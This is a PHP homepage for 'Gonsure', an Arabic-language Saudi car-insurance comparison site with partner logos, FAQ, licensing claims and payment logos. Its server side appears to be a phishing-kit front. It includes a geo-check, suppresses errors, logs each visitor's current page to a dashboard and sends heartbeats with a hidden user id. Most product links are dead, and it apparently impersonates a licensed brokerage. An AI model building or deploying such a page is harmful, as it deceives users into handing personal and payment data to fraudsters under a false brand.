<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./track-visit.php');
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'الرئيسية');
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | منصة تأمين رقمية لمقارنة وشراء التأمين في السعودية</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        /* === Homepage Specific Styles === */
        .home-nav {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 12px 16px;
            background: #fff;
            position: sticky;
            top: 0;
            z-index: 1000;
            box-shadow: 0 1px 3px rgba(0,0,0,0.06);
        }
        .home-nav .logo { height: 28px; }
        .home-nav-links { display: flex; gap: 16px; align-items: center; }
        .home-nav-links a { font-size: 12px; font-weight: 500; color: #475569; }
        .home-nav-links a.active { color: #2447ff; font-weight: 600; }

        /* Hero */
        .home-hero {
            text-align: center;
            padding: 32px 20px 24px;
            background: #fff;
        }
        .home-hero h1 {
            font-size: 28px;
            font-weight: 800;
            color: #1e293b;
            line-height: 1.5;
            margin-bottom: 12px;
        }
        .home-hero h1 .green-underline {
            color: #2447ff;
            position: relative;
            display: inline-block;
        }
        .home-hero h1 .green-underline::after {
            content: '';
            position: absolute;
            bottom: -2px;
            right: 0;
            width: 100%;
            height: 3px;
            background: #2447ff;
            border-radius: 2px;
        }
        .home-hero p {
            font-size: 14px;
            color: #64748b;
            line-height: 1.8;
            margin-bottom: 0;
        }

        /* Service Cards - Horizontal Scroll */
        .home-services {
            display: flex;
            justify-content: center;
            padding: 20px 16px;
        }
        .home-service-card {
            width: 85%;
            max-width: 360px;
            border-radius: 16px;
            overflow: hidden;
            position: relative;
            box-shadow: 0 4px 15px rgba(0,0,0,0.1);
        }
        .home-service-card img {
            width: 100%;
            height: 320px;
            object-fit: cover;
        }
        .home-service-card .card-overlay {
            position: absolute;
            bottom: 0;
            left: 0;
            right: 0;
            padding: 20px 16px;
            background: linear-gradient(transparent, rgba(0,0,0,0.75));
            color: white;
        }
        .home-service-card .card-overlay h3 {
            font-size: 18px;
            font-weight: 700;
            margin-bottom: 10px;
        }
        .home-service-card .card-overlay .card-btn {
            background: #2447ff;
            color: white;
            border: none;
            padding: 10px 24px;
            border-radius: 10px;
            font-size: 14px;
            font-weight: 600;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            cursor: pointer;
        }

        /* Partners */
        .home-partners {
            display: flex;
            align-items: center;
            gap: 24px;
            padding: 16px;
            overflow-x: auto;
            border-top: 1px solid #e2e8f0;
            border-bottom: 1px solid #e2e8f0;
            white-space: nowrap;
        }
        .home-partners::-webkit-scrollbar { display: none; }
        .home-partners img { height: 28px; opacity: 0.5; filter: grayscale(40%); flex-shrink: 0; }

        /* Info Cards (مرخص ومعتمد, تقييم, مكافآت, دفع) */
        .home-info-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
            padding: 20px 16px;
        }
        .home-info-card {
            background: #f8fafc;
            border: 1px solid #e2e8f0;
            border-radius: 14px;
            padding: 18px 14px;
            text-align: right;
        }
        .home-info-card h4 {
            font-size: 14px;
            font-weight: 700;
            color: #1e293b;
            margin-bottom: 6px;
        }
        .home-info-card p {
            font-size: 12px;
            color: #64748b;
            line-height: 1.6;
            margin: 0;
        }
        .home-info-card .info-badge {
            display: flex;
            align-items: center;
            gap: 6px;
            margin-top: 10px;
        }
        .home-info-card .info-badge img { height: 24px; }

        /* Offers Section */
        .home-offers {
            background: linear-gradient(135deg, #1a35cc, #2447ff, #7c91ff);
            padding: 28px 16px;
        }
        .home-offers h2 {
            color: white;
            font-size: 22px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 20px;
        }
        .offers-scroll {
            display: flex;
            gap: 12px;
            overflow-x: auto;
            padding-bottom: 12px;
        }
        .offers-scroll::-webkit-scrollbar { display: none; }
        .offer-card {
            min-width: 260px;
            border-radius: 14px;
            overflow: hidden;
            position: relative;
            flex-shrink: 0;
            height: 140px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            padding: 16px;
        }
        .offer-card.big { height: 140px; }
        .offer-card.small { min-width: 180px; height: 100px; }
        .offer-card h4 { font-size: 16px; font-weight: 700; margin-bottom: 4px; }
        .offer-card p { font-size: 12px; opacity: 0.9; margin: 0; }

        /* Why Gonsure */
        .home-why {
            padding: 28px 16px;
            background: #fff;
        }
        .home-why h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            color: #1e293b;
            margin-bottom: 20px;
        }
        .why-grid {
            display: grid;
            grid-template-columns: 1fr 1fr 1fr;
            gap: 12px;
        }
        .why-card {
            background: #f8fafc;
            border: 1px solid #e2e8f0;
            border-radius: 14px;
            padding: 16px 10px;
            text-align: center;
        }
        .why-card .why-icon {
            width: 44px;
            height: 44px;
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 10px;
            font-size: 18px;
        }
        .why-card h4 { font-size: 12px; font-weight: 600; color: #1e293b; margin-bottom: 4px; }
        .why-card p { font-size: 10px; color: #64748b; line-height: 1.5; margin: 0; }

        /* FAQ */
        .home-faq {
            padding: 28px 16px;
            background: #f8fafc;
        }
        .home-faq h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 6px;
        }
        .home-faq .faq-sub {
            text-align: center;
            font-size: 13px;
            color: #64748b;
            margin-bottom: 20px;
        }
        .faq-tabs {
            display: flex;
            gap: 8px;
            overflow-x: auto;
            margin-bottom: 16px;
            padding-bottom: 4px;
        }
        .faq-tabs::-webkit-scrollbar { display: none; }
        .faq-tab-btn {
            white-space: nowrap;
            padding: 8px 16px;
            border-radius: 20px;
            border: 1px solid #e2e8f0;
            background: #fff;
            font-size: 12px;
            font-weight: 500;
            color: #64748b;
            cursor: pointer;
        }
        .faq-tab-btn.active {
            background: #2447ff;
            color: white;
            border-color: #2447ff;
        }
        .faq-item {
            background: #fff;
            border: 1px solid #e2e8f0;
            border-radius: 12px;
            margin-bottom: 8px;
            overflow: hidden;
        }
        .faq-item summary {
            padding: 14px 16px;
            font-size: 13px;
            font-weight: 600;
            color: #1e293b;
            cursor: pointer;
            display: flex;
            justify-content: space-between;
            align-items: center;
            list-style: none;
        }
        .faq-item summary::-webkit-details-marker { display: none; }
        .faq-item summary::after {
            content: '+';
            font-size: 20px;
            color: #64748b;
            font-weight: 300;
        }
        .faq-item[open] summary::after { content: '−'; }
        .faq-item .faq-answer {
            padding: 0 16px 14px;
            font-size: 13px;
            color: #64748b;
            line-height: 1.7;
        }

        /* Contact */
        .home-contact {
            padding: 28px 16px;
            background: #fff;
        }
        .home-contact h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 6px;
        }
        .home-contact .contact-sub {
            text-align: center;
            font-size: 13px;
            color: #64748b;
            margin-bottom: 20px;
        }
        .contact-grid {
            display: grid;
            grid-template-columns: 1fr 1fr 1fr;
            gap: 10px;
        }
        .contact-card {
            background: #eff6ff;
            border: 1px solid #cfd7ff;
            border-radius: 14px;
            padding: 16px 10px;
            text-align: center;
        }
        .contact-card i {
            font-size: 24px;
            color: #2447ff;
            margin-bottom: 8px;
        }
        .contact-card h4 { font-size: 12px; font-weight: 600; color: #1e293b; margin-bottom: 4px; }
        .contact-card p { font-size: 10px; color: #64748b; line-height: 1.4; margin: 0; }

        /* Payment Methods */
        .home-payment {
            padding: 24px 16px;
            background: #f8fafc;
            text-align: center;
        }
        .home-payment h3 {
            font-size: 18px;
            font-weight: 700;
            margin-bottom: 6px;
        }
        .home-payment .pay-sub {
            font-size: 12px;
            color: #64748b;
            margin-bottom: 16px;
        }
        .pay-icons {
            display: flex;
            justify-content: center;
            gap: 12px;
            flex-wrap: wrap;
            align-items: center;
        }
        .pay-icons img { height: 28px; }

        /* Footer */
        .home-footer {
            background: #111827;
            color: white;
            padding: 28px 16px;
        }
        .home-footer .footer-top {
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            margin-bottom: 20px;
        }
        .home-footer .footer-brand { max-width: 55%; }
        .home-footer .footer-brand img { height: 24px; margin-bottom: 10px; filter: brightness(0) invert(1); }
        .home-footer .footer-brand p { font-size: 11px; color: #94a3b8; line-height: 1.7; }
        .home-footer .footer-cols { display: flex; gap: 24px; }
        .home-footer .footer-col h5 { font-size: 12px; font-weight: 600; margin-bottom: 10px; color: #e2e8f0; }
        .home-footer .footer-col a { display: block; font-size: 11px; color: #94a3b8; margin-bottom: 6px; }
        .home-footer .footer-col a:hover { color: #fff; }
        .home-footer .social-row {
            display: flex;
            gap: 10px;
            margin: 16px 0;
        }
        .home-footer .social-row a {
            width: 34px;
            height: 34px;
            border-radius: 8px;
            background: rgba(255,255,255,0.08);
            display: flex;
            align-items: center;
            justify-content: center;
            color: #94a3b8;
            font-size: 15px;
        }
        .home-footer .social-row a:hover { background: #2447ff; color: #fff; }
        .home-footer .footer-bottom {
            border-top: 1px solid rgba(255,255,255,0.08);
            padding-top: 14px;
            text-align: center;
            font-size: 11px;
            color: #64748b;
        }
    </style>
</head>
<body>

    <!-- Navbar -->
    <nav class="home-nav">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        <div class="home-nav-links">
            <a href="#" class="active">تأمين المركبات</a>
            <a href="#" onclick="return false;" style="opacity: 0.5; cursor: default;">تأمين الطبي</a>
            <a href="#" onclick="return false;" style="opacity: 0.5; cursor: default;">تأمين الأخطاء الطبية</a>
        </div>
    </nav>

    <!-- Hero -->
    <section class="home-hero">
        <h1><span class="green-underline">أسهل</span> منصة للتأمين في السعودية</h1>
        <p>جونشور منصة رقمية تجمع شركات التأمين المرخّصة في مكان واحد، لتختار التغطية المناسبة وتصدر وثيقتك خلال دقائق بكل سهولة وأمان.</p>
    </section>

    <!-- Service Cards -->
    <div class="home-services">
        <a href="./services.php" class="home-service-card">
            <img src="./assets/card_vehicles_man.webp" alt="تأمين المركبات">
            <div class="card-overlay">
                <h3>تأمين المركبات</h3>
                <button class="card-btn">اضغط هنا لطلب الوثيقة <i class="fas fa-arrow-left"></i></button>
            </div>
        </a>
    </div>

    <!-- Partners Strip -->
    <div class="home-partners">
        <img src="./assets/Salama.svg" alt="سلامة">
        <img src="./assets/Walaa.svg" alt="ولاء">
        <img src="./assets/malath.svg" alt="ملاذ">
        <img src="./assets/AXA.svg" alt="AXA">
        <img src="./assets/Tawuniya.svg" alt="التعاونية">
        <img src="./assets/MedGulf.svg" alt="ميدغلف">
        <img src="./assets/Buruj.svg" alt="بروج">
        <img src="./assets/ArabianShield.svg" alt="الدرع العربي">
        <img src="./assets/ACIG.svg" alt="ACIG">
        <img src="./assets/UCA.svg" alt="UCA">
    </div>

    <!-- Info Grid (مرخص ومعتمد - تقييم - مكافآت - دفع) -->
    <div class="home-info-grid">
        <div class="home-info-card">
            <h4>مرخص ومعتمد</h4>
            <p>منصة جونشور للتأمين الرقمي، مرخّصة وتعمل تحت إشراف هيئة التأمين في المملكة العربية السعودية.</p>
            <div class="info-badge">
                <i class="fas fa-shield-halved" style="font-size: 28px; color: #1e40af;"></i>
            </div>
        </div>
        <div class="home-info-card">
            <h4>4.6 تقييم العملاء</h4>
            <p>اختارنا آلاف العملاء، وقيّموا تجربتهم معنا على جوجل بـ 4.6</p>
            <div class="info-badge">
                <span style="color: #f59e0b; font-size: 14px;">★★★★★</span>
                <span style="font-size: 18px; font-weight: 700; color: #1e293b;">4.6</span>
            </div>
        </div>
        <div class="home-info-card">
            <h4>كل وثيقة تأمين تكسبك!</h4>
            <p>اجمع نقاط المكافآت والأميال مع كل وثيقة تأمين سيارات.</p>
            <div class="info-badge">
                <i class="fas fa-gift" style="font-size: 24px; color: #2447ff;"></i>
            </div>
        </div>
        <div class="home-info-card">
            <h4>طرق دفع مرنة تناسبك</h4>
            <p>جونشور توفر لك أفضل حلول تقسيط التأمين من خلال شركائنا</p>
            <div class="info-badge">
                <i class="fas fa-credit-card" style="font-size: 24px; color: #2563eb;"></i>
            </div>
        </div>
    </div>



    <!-- Why Gonsure -->
    <section class="home-why">
        <h2>لماذا أشتري تأميني من منصة جونشور؟</h2>
        <div class="why-grid">
            <div class="why-card">
                <div class="why-icon" style="background: #eff6ff;">
                    <i class="fas fa-shield-halved" style="color: #2447ff;"></i>
                </div>
                <h4>موثوقية نعتز بها</h4>
                <p>منصة مرخّصة تحت إشراف هيئة التأمين</p>
            </div>
            <div class="why-card">
                <div class="why-icon" style="background: #eff6ff;">
                    <i class="fas fa-building" style="color: #2563eb;"></i>
                </div>
                <h4>جميع الشركات</h4>
                <p>كل شركات التأمين في مكان واحد</p>
            </div>
            <div class="why-card">
                <div class="why-icon" style="background: #fefce8;">
                    <i class="fas fa-percent" style="color: #ca8a04;"></i>
                </div>
                <h4>أسعار تنافسية</h4>
                <p>أسعار رسمية معتمدة مع عروض إضافية</p>
            </div>
            <div class="why-card">
                <div class="why-icon" style="background: #eff6ff;">
                    <i class="fas fa-bolt" style="color: #2447ff;"></i>
                </div>
                <h4>إصدار فوري</h4>
                <p>وثيقتك فور إتمام الدفع بدون انتظار</p>
            </div>
            <div class="why-card">
                <div class="why-icon" style="background: #eff6ff;">
                    <i class="fas fa-wallet" style="color: #2563eb;"></i>
                </div>
                <h4>دفع مرن</h4>
                <p>مدى، فيزا، أبل باي، أو بالتقسيط</p>
            </div>
            <div class="why-card">
                <div class="why-icon" style="background: #fef2f2;">
                    <i class="fas fa-lock" style="color: #dc2626;"></i>
                </div>
                <h4>أمان البيانات</h4>
                <p>تشفير كامل وحماية معلوماتك</p>
            </div>
        </div>
    </section>

    <!-- FAQ -->
    <section class="home-faq">
        <h2>الأسئلة الشائعة</h2>
        <p class="faq-sub">دليلك السريع لفهم كل ما يخص التأمين مع جونشور</p>
        <div class="faq-tabs">
            <button class="faq-tab-btn active">الكل</button>
            <button class="faq-tab-btn">المركبات</button>
            <button class="faq-tab-btn">طبي</button>
            <button class="faq-tab-btn">أخطاء المهن الطبية</button>
            <button class="faq-tab-btn">عن جونشور</button>
        </div>
        <details class="faq-item">
            <summary>كيف أقارن وأشتري تأمين سيارة عبر جونشور ؟</summary>
            <div class="faq-answer">أدخل بياناتك وبيانات مركبتك، قارن العروض من شركات التأمين المختلفة، اختر الأنسب وأتم الدفع. يتم إصدار وثيقتك فوراً.</div>
        </details>
        <details class="faq-item">
            <summary>ما هو الفرق بين تأمين ضد الغير والتأمين الشامل ؟</summary>
            <div class="faq-answer">تأمين ضد الغير يغطي أضرار الطرف الآخر فقط، بينما التأمين الشامل يغطي أضرار مركبتك أيضاً بما في ذلك السرقة والحريق.</div>
        </details>
        <details class="faq-item">
            <summary>كيف أستفيد من خصم عدم وجود مطالبات ؟</summary>
            <div class="faq-answer">إذا لم يكن لديك مطالبات سابقة، ستحصل تلقائياً على خصم عند مقارنة الأسعار عبر منصة جونشور.</div>
        </details>
        <details class="faq-item">
            <summary>ما مدة صلاحية العروض المعروضة؟</summary>
            <div class="faq-answer">العروض المعروضة صالحة لمدة محدودة وقد تتغير الأسعار حسب شركات التأمين. ننصح بإتمام الشراء فور اختيار العرض المناسب.</div>
        </details>
    </section>

    <!-- Contact -->
    <section class="home-contact">
        <h2>تواصل معنا</h2>
        <p class="contact-sub">نسعد بخدمتك والإجابة على استفساراتك في أي وقت</p>
        <div class="contact-grid">
            <div class="contact-card">
                <i class="fas fa-phone"></i>
                <h4>اتصل بنا</h4>
                <p>8001244010</p>
            </div>
            <div class="contact-card">
                <i class="fas fa-envelope"></i>
                <h4>البريد</h4>
                <p>info@gonsure.com</p>
            </div>
            <div class="contact-card">
                <i class="fas fa-comments"></i>
                <h4>محادثة</h4>
                <p>واتساب ودعم فوري</p>
            </div>
        </div>
    </section>

    <!-- Payment Methods -->
    <section class="home-payment">
        <h3>خيارات سداد متعددة وآمنة</h3>
        <p class="pay-sub">نقبل طرق دفع متنوعة بطاقات الخصم والائتمان</p>
        <div class="pay-icons">
            <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="VISA">
            <img src="https://upload.wikimedia.org/wikipedia/commons/2/2a/Mastercard-logo.svg" alt="Mastercard">
            <img src="https://upload.wikimedia.org/wikipedia/commons/b/b0/Apple_Pay_logo.svg" alt="Apple Pay">
        </div>
    </section>

    <!-- Footer -->
    <footer class="home-footer">
        <div class="footer-top">
            <div class="footer-brand">
                <img src="./assets/gonsure_logo.svg" alt="جونشور">
                <p>أحد منتجات شركة ضامن لوساطة التأمين التعاوني خاضع لرقابة وإشراف هيئة التأمين<br>ترخيص رقم و.س.ط/ش/101/201807</p>
            </div>
        </div>
        <div style="display: flex; gap: 40px; margin-bottom: 16px;">
            <div class="footer-col">
                <h5>منتجاتنا</h5>
                <a href="./services.php">تأمين المركبات</a>
                <a href="./medical.php">تأمين طبي</a>
                <a href="./medical-mis.php">تأمين أخطاء المهن الطبية</a>
            </div>
            <div class="footer-col">
                <h5>الدعم والمساعدة</h5>
                <a href="#">اتصل بنا</a>
                <a href="#">الأسئلة الشائعة</a>
                <a href="#">المدونة</a>
            </div>
            <div class="footer-col">
                <h5>الموارد</h5>
                <a href="#">لوائح هيئة التأمين</a>
                <a href="#">شركائنا</a>
            </div>
        </div>
        <div class="social-row">
            <a href="#"><i class="fab fa-snapchat-ghost"></i></a>
            <a href="#"><i class="fab fa-facebook-f"></i></a>
            <a href="#"><i class="fab fa-instagram"></i></a>
            <a href="#"><i class="fab fa-linkedin-in"></i></a>
            <a href="#"><i class="fab fa-tiktok"></i></a>
            <a href="#"><i class="fab fa-x-twitter"></i></a>
        </div>
        <div class="footer-bottom">
            © GoNsure 2026 جميع الحقوق محفوظة
        </div>
    </footer>

<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
